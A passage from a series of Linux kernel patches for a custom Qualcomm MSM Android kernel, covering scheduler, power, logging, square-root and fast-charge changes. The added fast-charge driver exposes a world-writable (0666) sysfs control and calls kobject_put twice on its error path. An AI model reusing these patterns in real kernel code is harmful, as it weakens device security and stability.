__ref bcl_cpu_ctrl_callback(struct notifier_block *nfb, - unsigned long action, void *hcpu) -{ - uint32_t cpu = (uintptr_t)hcpu; - - if (action == CPU_UP_PREPARE || action == CPU_UP_PREPARE_FROZEN) { - if ((bcl_hotplug_mask & BIT(cpu)) - && (bcl_hotplug_request & BIT(cpu))) { - pr_info("preventing CPU%d from coming online\n", cpu); - return NOTIFY_BAD; - } else { - pr_debug("voting for CPU%d to be online\n", cpu); - } - } - - return NOTIFY_OK; -} - -static struct notifier_block __refdata bcl_cpu_notifier = { - .notifier_call = bcl_cpu_ctrl_callback, -}; static int bcl_cpufreq_callback(struct notifier_block *nfb, unsigned long event, void *data) @@ -423,16 +343,12 @@ static void bcl_iavail_work(struct work_struct *work) static void bcl_ibat_notify(enum bcl_threshold_state thresh_type) { - if (bcl_hotplug_enabled) - schedule_work(&bcl_hotplug_work); bcl_ibat_state = thresh_type; update_cpu_freq(); } static void bcl_vph_notify(enum bcl_threshold_state thresh_type) { - if (bcl_hotplug_enabled) - schedule_work(&bcl_hotplug_work); bcl_vph_state = thresh_type; update_cpu_freq(); } @@ -825,8 +741,6 @@ show_bcl(vph_low, (gbcl->bcl_monitor_type == BCL_IBAT_MONITOR_TYPE) ? show_bcl(freq_limit, gbcl->thermal_freq_limit, "%u\n") show_bcl(vph_state, bcl_vph_state, "%d\n") show_bcl(ibat_state, bcl_ibat_state, "%d\n") -show_bcl(hotplug_mask, bcl_hotplug_mask, "%d\n") -show_bcl(hotplug_status, bcl_hotplug_request, "%d\n") static ssize_t mode_show(struct device *dev, struct device_attribute *attr, char *buf) @@ -1137,24 +1051,6 @@ static ssize_t vph_high_store(struct device *dev, return count; } -static ssize_t hotplug_mask_store(struct device *dev, - struct device_attribute *attr, - const char *buf, size_t count) -{ - int ret = 0, val = 0; - - if (!bcl_hotplug_enabled) - return -ENODEV; - - ret = convert_to_int(buf, &val); - if (ret) - return ret; - - bcl_hotplug_mask = val; - - return count; -} - /* * BCL device attributes */ @@ -1193,8 +1089,6 @@ static struct device_attribute btm_dev_attr[] = { __ATTR(vph_high_thresh_uv, 0644, vph_high_show, vph_high_store), __ATTR(vph_low_thresh_uv, 0644, vph_low_show, vph_low_store), __ATTR(thermal_freq_limit, 0444, freq_limit_show, NULL), - __ATTR(hotplug_status, 0444, hotplug_status_show, NULL), - __ATTR(hotplug_mask, 0644, hotplug_mask_show, hotplug_mask_store), }; static int create_bcl_sysfs(struct bcl_context *bcl) @@ -1557,9 +1451,8 @@ static int probe_btm_properties(struct bcl_context *bcl) static int bcl_probe(struct platform_device *pdev) { struct bcl_context *bcl = NULL; - int ret = 0, i = 0, cpu = 0; + int ret = 0; enum bcl_device_mode bcl_mode = BCL_DEVICE_DISABLED; - struct device_node *core_phandle = NULL; bcl = devm_kzalloc(&pdev->dev, sizeof(struct bcl_context), GFP_KERNEL); if (!bcl) { @@ -1592,20 +1485,6 @@ static int bcl_probe(struct platform_device *pdev) else bcl->bcl_no_bms = false; - core_phandle = of_parse_phandle(pdev->dev.of_node, - "qcom,bcl-hotplug-list", i++); - while (core_phandle) { - bcl_hotplug_enabled = true; - for_each_possible_cpu(cpu) { - if (of_get_cpu_node(cpu, NULL) == core_phandle) - bcl_hotplug_mask |= BIT(cpu); - } - core_phandle = of_parse_phandle(pdev->dev.of_node, - "qcom,bcl-hotplug-list", i++); - } - if (!bcl_hotplug_mask) - bcl_hotplug_enabled = false; - if (of_property_read_bool(pdev->dev.of_node, "qcom,bcl-framework-interface")) ret = probe_bcl_periph_prop(bcl); @@ -1624,9 +1503,6 @@ static int bcl_probe(struct platform_device *pdev) gbcl = bcl; platform_set_drvdata(pdev, bcl); INIT_DEFERRABLE_WORK(&bcl->bcl_iavail_work, bcl_iavail_work); - INIT_WORK(&bcl_hotplug_work, bcl_handle_hotplug); - if (bcl_hotplug_enabled) - register_cpu_notifier(&bcl_cpu_notifier); if (bcl_mode == BCL_DEVICE_ENABLED) bcl_mode_set(bcl_mode); From 91ecd1d9dd1dac610a73064e15878a9d43e8195a Mon Sep 17 00:00:00 2001 From: Pranav Vashi Date: Tue, 3 Dec 2013 14:31:36 -0800 Subject: [PATCH 259/365] sched: LOAD_FREQ (4*HZ+61) avoids loadavg Moire These values are applicable for 100 HZ device. Check http://ripke.com/loadavg/moire for more details. Signed-off-by: Pranav Vashi --- include/linux/sched.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/include/linux/sched.h b/include/linux/sched.h index 9302a54892051..9667c483b4eb9 100644 --- a/include/linux/sched.h +++ b/include/linux/sched.h @@ -144,10 +144,10 @@ extern void get_avenrun(unsigned long *loads, unsigned long offset, int shift); #define FSHIFT 11 /* nr of bits of precision */ #define FIXED_1 (1< Date: Tue, 4 Feb 2014 02:12:53 -0800 Subject: [PATCH 260/365] msm: Fix high load average from uninterruptible waits * The load average on all MSMs is currently hovering at around 14 due to uninterruptible waits in various places. * Convert these waits to interruptible waits to bring the load back down to zero at idle. Change-Id: I14bad4af135b1594e235e2252cb484cb34d91054 Conflicts: drivers/thermal/msm_thermal.c Conflicts: drivers/thermal/msm_thermal.c --- drivers/soc/qcom/mpm-of.c | 2 +- drivers/soc/qcom/rpm-smd.c | 2 +- drivers/video/msm/mdss/mdss_fb.c | 7 ++++++- 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/drivers/soc/qcom/mpm-of.c b/drivers/soc/qcom/mpm-of.c index 853b3cc9b6f37..fde5e4104f419 100644 --- a/drivers/soc/qcom/mpm-of.c +++ b/drivers/soc/qcom/mpm-of.c @@ -653,7 +653,7 @@ static void msm_mpm_work_fn(struct work_struct *work) unsigned long flags; while (1) { bool allow; - wait_for_completion(&wake_wq); + wait_for_completion_interruptible(&wake_wq); spin_lock_irqsave(&msm_mpm_lock, flags); allow = msm_mpm_irqs_detectable(true) && msm_mpm_gpio_irqs_detectable(true); diff --git a/drivers/soc/qcom/rpm-smd.c b/drivers/soc/qcom/rpm-smd.c index 8035a880c0bbc..23ca8b02aa2bb 100644 --- a/drivers/soc/qcom/rpm-smd.c +++ b/drivers/soc/qcom/rpm-smd.c @@ -900,7 +900,7 @@ static void msm_rpm_smd_work(struct work_struct *work) char buf[MAX_ERR_BUFFER_SIZE] = {0}; while (1) { - wait_for_completion(&data_ready); + wait_for_completion_interruptible(&data_ready); spin_lock(&msm_rpm_data.smd_lock_read); while (smd_is_pkt_avail(msm_rpm_data.ch_info)) { diff --git a/drivers/video/msm/mdss/mdss_fb.c b/drivers/video/msm/mdss/mdss_fb.c index 2f3679c72b969..caa3f157c3223 100644 --- a/drivers/video/msm/mdss/mdss_fb.c +++ b/drivers/video/msm/mdss/mdss_fb.c @@ -2892,10 +2892,15 @@ static int __mdss_fb_display_thread(void *data) mfd->index); while (1) { - wait_event(mfd->commit_wait_q, + ret = wait_event_interruptible(mfd->commit_wait_q, (atomic_read(&mfd->commits_pending) || kthread_should_stop())); + if (ret) { + pr_info("%s: interrupted", __func__); + continue; + } + if (kthread_should_stop()) break; From 60e4517e4095f4bbda57d75e0ac18002036fecd9 Mon Sep 17 00:00:00 2001 From: Manikanta Sivapala Date: Tue, 3 Nov 2015 12:26:17 +0530 Subject: [PATCH 261/365] msm: vidc: disable CPU L2 cache PC during video sessions CPU L2 cache is being power collapsed and resumed during video sessions which is consuming more power unnecessarily. So disable CPU L2 cache power collapse during video sessions using qos requests to save power. Change-Id: Iaf47231bed1304510ea221b9d50866d3b4adfed0 Signed-off-by: Maheshwar Ajja Signed-off-by: franciscofranco --- drivers/media/platform/msm/vidc/msm_v4l2_vidc.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/drivers/media/platform/msm/vidc/msm_v4l2_vidc.c b/drivers/media/platform/msm/vidc/msm_v4l2_vidc.c index a46eda705ab18..71203281c5ca3 100644 --- a/drivers/media/platform/msm/vidc/msm_v4l2_vidc.c +++ b/drivers/media/platform/msm/vidc/msm_v4l2_vidc.c @@ -20,6 +20,7 @@ #include #include #include +#include #include #include #include @@ -35,6 +36,7 @@ #define BASE_DEVICE_NUMBER 32 #define EARLY_FIRMWARE_LOAD_DELAY 1000 +static struct pm_qos_request msm_v4l2_vidc_pm_qos_request; struct msm_vidc_drv *vidc_driver; uint32_t msm_vidc_pwr_collapse_delay = 10000; @@ -61,6 +63,11 @@ static int msm_v4l2_open(struct file *filp) core->id, vid_dev->type); return -ENOMEM; } + + dprintk(VIDC_DBG, "pm_qos_add with latency 1000usec\n"); + pm_qos_add_request(&msm_v4l2_vidc_pm_qos_request, + PM_QOS_CPU_DMA_LATENCY, 1000); + clear_bit(V4L2_FL_USES_V4L2_FH, &vdev->flags); filp->private_data = &(vidc_inst->event_handler); trace_msm_v4l2_vidc_open_end("msm_v4l2_open end"); @@ -81,6 +88,12 @@ static int msm_v4l2_close(struct file *filp) "Failed in %s for release output buffers\n", __func__); rc = msm_vidc_close(vidc_inst); + + dprintk(VIDC_DBG, "pm_qos_update and remove\n"); + pm_qos_update_request(&msm_v4l2_vidc_pm_qos_request, + PM_QOS_DEFAULT_VALUE); + pm_qos_remove_request(&msm_v4l2_vidc_pm_qos_request); + trace_msm_v4l2_vidc_close_end("msm_v4l2_close end"); return rc; } From cd5c22ba66195632348b702e885f8c78c91be3ac Mon Sep 17 00:00:00 2001 From: franciscofranco Date: Sun, 13 Dec 2015 04:15:59 +0000 Subject: [PATCH 262/365] msm: vidc: disable debug logs Signed-off-by: franciscofranco --- drivers/media/platform/msm/vidc/msm_vidc_debug.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/media/platform/msm/vidc/msm_vidc_debug.c b/drivers/media/platform/msm/vidc/msm_vidc_debug.c index 509ea440cf6e8..d41a23816aaab 100644 --- a/drivers/media/platform/msm/vidc/msm_vidc_debug.c +++ b/drivers/media/platform/msm/vidc/msm_vidc_debug.c @@ -16,7 +16,7 @@ #include "vidc_hfi_api.h" #define MAX_DBG_BUF_SIZE 4096 -int msm_vidc_debug = VIDC_ERR | VIDC_WARN; +int msm_vidc_debug = 0; int msm_vidc_debug_out = VIDC_OUT_PRINTK; int msm_fw_debug = 0x18; int msm_fw_debug_mode = 0x1; From 3ffbf4f14d11e8d0395d9b7ba954d264ac6358af Mon Sep 17 00:00:00 2001 From: franciscofranco Date: Tue, 17 Mar 2015 17:17:00 +0000 Subject: [PATCH 263/365] msm: mpm: disable debugging Signed-off-by: franciscofranco --- drivers/soc/qcom/mpm-of.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/soc/qcom/mpm-of.c b/drivers/soc/qcom/mpm-of.c index fde5e4104f419..552a63edf8dbc 100644 --- a/drivers/soc/qcom/mpm-of.c +++ b/drivers/soc/qcom/mpm-of.c @@ -134,7 +134,7 @@ enum { MSM_MPM_DEBUG_NON_DETECTABLE_IRQ_IDLE = BIT(3), }; -static int msm_mpm_debug_mask = 1; +static int msm_mpm_debug_mask = 0; module_param_named( debug_mask, msm_mpm_debug_mask, int, S_IRUGO | S_IWUSR | S_IWGRP ); From cb11c62d2c5f4892538757edc90f44d12924996a Mon Sep 17 00:00:00 2001 From: franciscofranco Date: Sat, 12 Dec 2015 04:55:05 +0000 Subject: [PATCH 264/365] qcom: msm-core: uninterruptible wait - you can kiss my arse goodbye Signed-off-by: franciscofranco --- drivers/power/qcom/msm-core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/power/qcom/msm-core.c b/drivers/power/qcom/msm-core.c index 39115a184f551..43a3a70fdede0 100644 --- a/drivers/power/qcom/msm-core.c +++ b/drivers/power/qcom/msm-core.c @@ -253,7 +253,7 @@ static __ref int do_sampling(void *data) static int prev_temp[NR_CPUS]; while (!kthread_should_stop()) { - wait_for_completion(&sampling_completion); + wait_for_completion_interruptible(&sampling_completion); cancel_delayed_work(&sampling_work); mutex_lock(&kthread_update_mutex); From 65f9518d6e738ed118ac93df645885c121ee4ee1 Mon Sep 17 00:00:00 2001 From: franciscofranco Date: Tue, 26 Jan 2016 14:38:43 +0000 Subject: [PATCH 265/365] block: bfq: set IOPS mode by default with slice_idle set to 0 Now that we ship FK using anyKernel method we maintain the system ramdisk and CM is now using BFQ cgroups, supposedly for a tremendous performance increase, we should make sure to include BFQ for users who run CM Signed-off-by: franciscofranco --- block/bfq-iosched.c | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/block/bfq-iosched.c b/block/bfq-iosched.c index 014984d199e78..3c9f13059b196 100644 --- a/block/bfq-iosched.c +++ b/block/bfq-iosched.c @@ -80,7 +80,7 @@ static const int bfq_back_max = 16 * 1024; static const int bfq_back_penalty = 2; /* Idling period duration, in jiffies. */ -static int bfq_slice_idle = HZ / 125; +static int bfq_slice_idle = 0; /* Default maximum budget values, in sectors and number of requests. */ static const int bfq_default_max_budget = 16 * 1024; @@ -4170,12 +4170,6 @@ static struct elevator_type iosched_bfq = { static int __init bfq_init(void) { - /* - * Can be 0 on HZ < 1000 setups. - */ - if (bfq_slice_idle == 0) - bfq_slice_idle = 1; - if (bfq_timeout_async == 0) bfq_timeout_async = 1; From ba23888bc547bf60e212465d3cc494c8f05d6f10 Mon Sep 17 00:00:00 2001 From: anarkia1976 Date: Sun, 17 Jan 2016 09:08:50 +0100 Subject: [PATCH 266/365] timer: optimize apply_slack() __fls(mask) is equivalent to find_last_bit(&mask, BITS_PER_LONG), but cheaper --- kernel/timer.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/kernel/timer.c b/kernel/timer.c index 2ab4aa0a4a01e..cd2c871120eb4 100644 --- a/kernel/timer.c +++ b/kernel/timer.c @@ -839,7 +839,7 @@ unsigned long apply_slack(struct timer_list *timer, unsigned long expires) if (mask == 0) return expires; - bit = find_last_bit(&mask, BITS_PER_LONG); + bit = __fls(mask); mask = (1UL << bit) - 1; From c858956863b65322800ef7086dc5ed1d1954205b Mon Sep 17 00:00:00 2001 From: anarkia1976 Date: Tue, 2 Jun 2015 20:11:44 +0200 Subject: [PATCH 267/365] PM: Enable asynchronous noirq resume threads to save the resuming time Subject [PATCH] PM: Enable asynchronous noirq resume threads to save the resuming time From Chuansheng Liu <> Date Tue, 14 Jan 2014 15:18:08 +0800 Currently, the dpm_resume_noirq() is done synchronously, and for PCI devices pci_pm_resume_noirq(): pci_pm_resume_noirq() pci_pm_default_resume_early() pci_power_up() pci_raw_set_power_state() Which set the device from D3hot to D0 mostly, for every device, there will be one 10ms(pci_pm_d3_delay) to wait. Hence normally dpm_resume_noirq() will cost > 100ms, which is bigger for mobile platform. Here implementing it with asynchronous way which will reduce much. For example below, The 80% time is saved. With synchronous way: [ 1411.272218] PM: noirq resume of devices complete after 92.223 msecs With asynchronous way: [ 110.616735] PM: noirq resume of devices complete after 10.544 msecs Signed-off-by: Liu, Chuansheng --- drivers/base/power/main.c | 42 ++++++++++++++++++++++++++++++--------- 1 file changed, 33 insertions(+), 9 deletions(-) diff --git a/drivers/base/power/main.c b/drivers/base/power/main.c index 06ed8817837c2..9524b7994c8d3 100644 --- a/drivers/base/power/main.c +++ b/drivers/base/power/main.c @@ -502,6 +502,19 @@ static int device_resume_noirq(struct device *dev, pm_message_t state) return error; } +static bool is_async(struct device *dev); + +static void async_resume_noirq(void *data, async_cookie_t cookie) +{ + struct device *dev = (struct device *)data; + int error; + + error = device_resume_noirq(dev, pm_transition); + if (error) + pm_dev_err(dev, pm_transition, " noirq", error); + put_device(dev); +} + /** * dpm_resume_noirq - Execute "noirq resume" callbacks for all devices. * @state: PM transition of the system being carried out. @@ -511,29 +524,40 @@ static int device_resume_noirq(struct device *dev, pm_message_t state) */ static void dpm_resume_noirq(pm_message_t state) { + struct device *dev; ktime_t starttime = ktime_get(); + pm_transition = state; + + list_for_each_entry(dev, &dpm_noirq_list, power.entry) { + if (is_async(dev)) { + get_device(dev); + async_schedule(async_resume_noirq, dev); + } + } mutex_lock(&dpm_list_mtx); while (!list_empty(&dpm_noirq_list)) { - struct device *dev = to_device(dpm_noirq_list.next); - int error; + dev = to_device(dpm_noirq_list.next); get_device(dev); list_move_tail(&dev->power.entry, &dpm_late_early_list); mutex_unlock(&dpm_list_mtx); - error = device_resume_noirq(dev, state); - if (error) { - suspend_stats.failed_resume_noirq++; - dpm_save_failed_step(SUSPEND_RESUME_NOIRQ); - dpm_save_failed_dev(dev_name(dev)); - pm_dev_err(dev, state, " noirq", error); + if (!is_async(dev)) { + int error; + error = device_resume_noirq(dev, state); + if (error) { + suspend_stats.failed_resume_noirq++; + dpm_save_failed_step(SUSPEND_RESUME_NOIRQ); + dpm_save_failed_dev(dev_name(dev)); + pm_dev_err(dev, state, " noirq", error); + } } - mutex_lock(&dpm_list_mtx); put_device(dev); } mutex_unlock(&dpm_list_mtx); + async_synchronize_full(); dpm_show_time(starttime, state, "noirq"); resume_device_irqs(); cpuidle_resume(); From bb2d51567ed6747f80adc95add2a9c7f3238658d Mon Sep 17 00:00:00 2001 From: myfluxi Date: Tue, 28 Jul 2015 21:21:59 +0200 Subject: [PATCH 268/365] arm: irq: Tone down kernel logging Change-Id: Ie31190bd65d1379de41e1ca2573aa65e785de1b6 --- arch/arm/kernel/irq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arm/kernel/irq.c b/arch/arm/kernel/irq.c index 5e7345a81e241..09523df6c4826 100644 --- a/arch/arm/kernel/irq.c +++ b/arch/arm/kernel/irq.c @@ -184,7 +184,7 @@ void migrate_irqs(void) #ifndef CONFIG_MACH_WT88047 if (affinity_broken && printk_ratelimit()) - pr_warning("IRQ%u no longer affine to CPU%u\n", i, + pr_debug("IRQ%u no longer affine to CPU%u\n", i, smp_processor_id()); #endif } From 70da7b67d7e0c79e34a2d5ed79fbd68a491f26bd Mon Sep 17 00:00:00 2001 From: ramgear Date: Tue, 3 Sep 2013 14:25:04 +0700 Subject: [PATCH 269/365] int_sqrt: correction square root algo with naming Signed-off-by: engstk --- lib/int_sqrt.c | 30 ++++++++++++++++++++---------- 1 file changed, 20 insertions(+), 10 deletions(-) diff --git a/lib/int_sqrt.c b/lib/int_sqrt.c index 1ef4cc344977c..0814f07624f54 100644 --- a/lib/int_sqrt.c +++ b/lib/int_sqrt.c @@ -16,23 +16,33 @@ */ unsigned long int_sqrt(unsigned long x) { - unsigned long b, m, y = 0; + unsigned long tmp; + unsigned long place; + unsigned long root; + unsigned long remainder; if (x <= 1) return x; - m = 1UL << (BITS_PER_LONG - 2); - while (m != 0) { - b = y + m; - y >>= 1; + root = 0; + remainder = x; + place = 1UL << (BITS_PER_LONG - 2); + + while (place > remainder) + place >>= 2; - if (x >= b) { - x -= b; - y += m; + while (place != 0) { + tmp = root + place; + + if (remainder >= tmp) + { + remainder -= tmp; + root += (place << 1); } - m >>= 2; + root >>= 1; + place >>= 2; } - return y; + return root; } EXPORT_SYMBOL(int_sqrt); From cc64e6d520340ca1966f1681e44d9fa99df2a9d0 Mon Sep 17 00:00:00 2001 From: FlyFrog Date: Wed, 4 Sep 2013 12:45:44 +0700 Subject: [PATCH 270/365] int_sqrt: Improve 3x faster integer sqrt. Result on 10,000,000 call. Old: sqrt(12345689) = 3513 real 0m0.768s user 0m0.760s sys 0m0.004s New: sqrt(12345689) = 3513 real 0m0.222s user 0m0.224s sys 0m0.000s Signed-off-by: engstk --- lib/int_sqrt.c | 28 +++++++++++++--------------- 1 file changed, 13 insertions(+), 15 deletions(-) diff --git a/lib/int_sqrt.c b/lib/int_sqrt.c index 0814f07624f54..5c3916d09c201 100644 --- a/lib/int_sqrt.c +++ b/lib/int_sqrt.c @@ -14,34 +14,32 @@ * * A very rough approximation to the sqrt() function. */ -unsigned long int_sqrt(unsigned long x) +inline unsigned long int_sqrt(unsigned long x) { - unsigned long tmp; - unsigned long place; - unsigned long root; - unsigned long remainder; + register unsigned long tmp; + register unsigned long place; + register unsigned long root = 0; if (x <= 1) return x; - root = 0; - remainder = x; place = 1UL << (BITS_PER_LONG - 2); - - while (place > remainder) + + do{ place >>= 2; + }while(place > x); - while (place != 0) { + do { tmp = root + place; + root >>= 1; - if (remainder >= tmp) + if (x >= tmp) { - remainder -= tmp; - root += (place << 1); + x -= tmp; + root += place; } - root >>= 1; place >>= 2; - } + }while (place != 0); return root; } From dc9dca2924e9758e341c745736da2460aeb7cd57 Mon Sep 17 00:00:00 2001 From: Masanari Iida Date: Mon, 28 Apr 2014 12:38:34 +0900 Subject: [PATCH 271/365] block: Fix format string mismatch in cfq-iosched.c Fix format string mismatch in cfq_var_show() Signed-off-by: Masanari Iida Signed-off-by: Jens Axboe Signed-off-by: Pranav Vashi --- block/cfq-iosched.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/block/cfq-iosched.c b/block/cfq-iosched.c index 2573e1607e2cd..ef1be43ffa95a 100644 --- a/block/cfq-iosched.c +++ b/block/cfq-iosched.c @@ -4482,7 +4482,7 @@ static void cfq_registered_queue(struct request_queue *q) static ssize_t cfq_var_show(unsigned int var, char *page) { - return sprintf(page, "%d\n", var); + return sprintf(page, "%u\n", var); } static ssize_t From 253941056526445de846bd4c83cf7794fb2aa3dd Mon Sep 17 00:00:00 2001 From: ktoonsez Date: Sat, 22 Jun 2013 13:45:20 -0700 Subject: [PATCH 272/365] debug: remove: remove some dmesg logspam from Linux mainline 3.4 fs Signed-off-by: engstk --- fs/fs-writeback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/fs-writeback.c b/fs/fs-writeback.c index 5c023a649a363..fef0353e543d9 100644 --- a/fs/fs-writeback.c +++ b/fs/fs-writeback.c @@ -1164,7 +1164,7 @@ void __mark_inode_dirty(struct inode *inode, int flags) if ((inode->i_state & flags) == flags) return; - if (unlikely(block_dump > 1)) + if (unlikely(block_dump)) block_dump___mark_inode_dirty(inode); spin_lock(&inode->i_lock); From 1853a429b5aa0cb415f4b396e9621e3b7116cd94 Mon Sep 17 00:00:00 2001 From: Evisceration Date: Sun, 21 Dec 2014 22:26:45 +0100 Subject: [PATCH 273/365] msm: mdss: remove more logging spam Change-Id: Id2b80b66c7fc6fca0f3a15d4adaed008823c29a2 Signed-off-by: engstk --- drivers/video/msm/mdss/mdss_mdp_overlay.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/drivers/video/msm/mdss/mdss_mdp_overlay.c b/drivers/video/msm/mdss/mdss_mdp_overlay.c index c61574478a4c3..4460e81b3bdb6 100644 --- a/drivers/video/msm/mdss/mdss_mdp_overlay.c +++ b/drivers/video/msm/mdss/mdss_mdp_overlay.c @@ -259,10 +259,12 @@ int mdss_mdp_overlay_req_check(struct msm_fb_data_type *mfd, req->src_rect.w < min_src_size || req->src_rect.h < min_src_size || CHECK_BOUNDS(req->src_rect.x, req->src_rect.w, req->src.width) || CHECK_BOUNDS(req->src_rect.y, req->src_rect.h, req->src.height)) { +#if 0 pr_err("invalid source image img wh=%dx%d rect=%d,%d,%d,%d\n", req->src.width, req->src.height, req->src_rect.x, req->src_rect.y, req->src_rect.w, req->src_rect.h); +#endif return -EOVERFLOW; } From 7f7cba73e3c9747dbfbcedfdbeddf93aca02ea7a Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Thu, 15 Dec 2016 11:41:42 +0530 Subject: [PATCH 274/365] arm: add force fastcharge support commit 96262d7a440872de4f9a3858337b460f80cd4b6a Author: engstk Date: Thu Dec 15 11:38:09 2016 +0530 arm: add fast charge support --- arch/arm/mach-msm/Kconfig | 7 +++ arch/arm/mach-msm/Makefile | 2 + arch/arm/mach-msm/fastchg.c | 104 ++++++++++++++++++++++++++++++++++ drivers/usb/phy/phy-msm-usb.c | 13 +++++ include/linux/fastchg.h | 22 +++++++ 5 files changed, 148 insertions(+) create mode 100644 arch/arm/mach-msm/fastchg.c create mode 100644 include/linux/fastchg.h diff --git a/arch/arm/mach-msm/Kconfig b/arch/arm/mach-msm/Kconfig index 283a831adb63f..a65f9acad9d5d 100644 --- a/arch/arm/mach-msm/Kconfig +++ b/arch/arm/mach-msm/Kconfig @@ -1050,4 +1050,11 @@ config FSM9900_GSM_NL The serial port connection can be established to communicate with the GSM NL module. +config FORCE_FAST_CHARGE + bool "Force faster charge rate for AC/USB" + default y + help + This allows users to override default charge rate for both USB and AC + charger input current + endif diff --git a/arch/arm/mach-msm/Makefile b/arch/arm/mach-msm/Makefile index bb482d462189f..1afb37e41b592 100644 --- a/arch/arm/mach-msm/Makefile +++ b/arch/arm/mach-msm/Makefile @@ -71,3 +71,5 @@ obj-$(CONFIG_MSM_SMCMOD) += smcmod.o obj-$(CONFIG_ARCH_MSM8974) += msm_mpmctr.o obj-$(CONFIG_PERFMAP) += perfmap.o + +obj-$(CONFIG_FORCE_FAST_CHARGE) += fastchg.o diff --git a/arch/arm/mach-msm/fastchg.c b/arch/arm/mach-msm/fastchg.c new file mode 100644 index 0000000000000..f419b3dd0a9ed --- /dev/null +++ b/arch/arm/mach-msm/fastchg.c @@ -0,0 +1,104 @@ +/* + * Author: Chad Froebel + * + * Port to Nexus 5 : flar2 + * + * Port to Osprey : engstk + * + * This software is licensed under the terms of the GNU General Public + * License version 2, as published by the Free Software Foundation, and + * may be copied, distributed, and modified under those terms. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ + +/* + * Possible values for "force_fast_charge" are : + * + * 0 - Disabled (default) + * 1 - Force faster charge +*/ + +#include +#include +#include +#include + +int force_fast_charge = 1; + +static int __init get_fastcharge_opt(char *ffc) +{ + if (strcmp(ffc, "0") == 0) { + force_fast_charge = 0; + } else if (strcmp(ffc, "1") == 0) { + force_fast_charge = 1; + } else { + force_fast_charge = 0; + } + return 1; +} + +__setup("ffc=", get_fastcharge_opt); + +static ssize_t force_fast_charge_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf) +{ + size_t count = 0; + count += sprintf(buf, "%d\n", force_fast_charge); + return count; +} + +static ssize_t force_fast_charge_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count) +{ + if (buf[0] >= '0' && buf[0] <= '1' && buf[1] == '\n') + if (force_fast_charge != buf[0] - '0') + force_fast_charge = buf[0] - '0'; + + return count; +} + +static struct kobj_attribute force_fast_charge_attribute = +__ATTR(force_fast_charge, 0666, force_fast_charge_show, force_fast_charge_store); + +static struct attribute *force_fast_charge_attrs[] = { +&force_fast_charge_attribute.attr, +NULL, +}; + +static struct attribute_group force_fast_charge_attr_group = { +.attrs = force_fast_charge_attrs, +}; + +/* Initialize fast charge sysfs folder */ +static struct kobject *force_fast_charge_kobj; + +int force_fast_charge_init(void) +{ + int force_fast_charge_retval; + + force_fast_charge_kobj = kobject_create_and_add("fast_charge", kernel_kobj); + if (!force_fast_charge_kobj) { + return -ENOMEM; + } + + force_fast_charge_retval = sysfs_create_group(force_fast_charge_kobj, &force_fast_charge_attr_group); + + if (force_fast_charge_retval) + kobject_put(force_fast_charge_kobj); + + if (force_fast_charge_retval) + kobject_put(force_fast_charge_kobj); + + return (force_fast_charge_retval); +} + +void force_fast_charge_exit(void) +{ + kobject_put(force_fast_charge_kobj); +} + +module_init(force_fast_charge_init); +module_exit(force_fast_charge_exit); diff --git a/drivers/usb/phy/phy-msm-usb.c b/drivers/usb/phy/phy-msm-usb.c index 0983d247802a9..1c5c4de546df0 100644 --- a/drivers/usb/phy/phy-msm-usb.c +++ b/drivers/usb/phy/phy-msm-usb.c @@ -52,6 +52,10 @@ #include +#ifdef CONFIG_FORCE_FAST_CHARGE +#include +#endif + #define MSM_USB_BASE (motg->regs) #define MSM_USB_PHY_CSR_BASE (motg->phy_csr_regs) @@ -1972,6 +1976,15 @@ static void msm_otg_notify_charger(struct msm_otg *motg, unsigned mA) if (motg->cur_power == mA) return; +#ifdef CONFIG_FORCE_FAST_CHARGE + if (force_fast_charge > 0 && mA > 0) { + mA = IDEV_ACA_CHG_MAX; + pr_info("USB fast charging is ON\n"); + } else { + pr_info("USB fast charging is OFF\n"); + } +#endif + dev_info(motg->phy.dev, "Avail curr from USB = %u\n", mA); msm_otg_dbg_log_event(&motg->phy, "AVAIL CURR FROM USB", mA, motg->chg_type); diff --git a/include/linux/fastchg.h b/include/linux/fastchg.h new file mode 100644 index 0000000000000..d3bdcdaccecd4 --- /dev/null +++ b/include/linux/fastchg.h @@ -0,0 +1,22 @@ +/* + * Author: Chad Froebel + * + * Port to Osprey : engstk + * + * This software is licensed under the terms of the GNU General Public + * License version 2, as published by the Free Software Foundation, and + * may be copied, distributed, and modified under those terms. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ + +#ifndef _LINUX_FASTCHG_H +#define _LINUX_FASTCHG_H + +extern int force_fast_charge; + +#endif From b27077debdac3818da5632e971db418f9d85804e Mon Sep 17 00:00:00 2001 From: Stratos Karafotis Date: Wed, 14 May 2014 21:05:52 +0300 Subject: [PATCH 275/365] cpufreq: Break out early when frequency equals target_freq Many drivers keep frequencies in frequency table in ascending or descending order. When governor tries to change to policy->min or policy->max respectively then the cpufreq_frequency_table_target could return on first iteration. This will save some iteration cycles. So, break out early when a frequency in cpufreq_frequency_table equals to target one. Testing this during kernel compilation using ondemand governor with a frequency table in ascending order, the cpufreq_frequency_table_target returned early on the first iteration at about 30% of times called. Signed-off-by: Stratos Karafotis Acked-by: Viresh Kumar Signed-off-by: Rafael J. Wysocki --- drivers/cpufreq/freq_table.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git 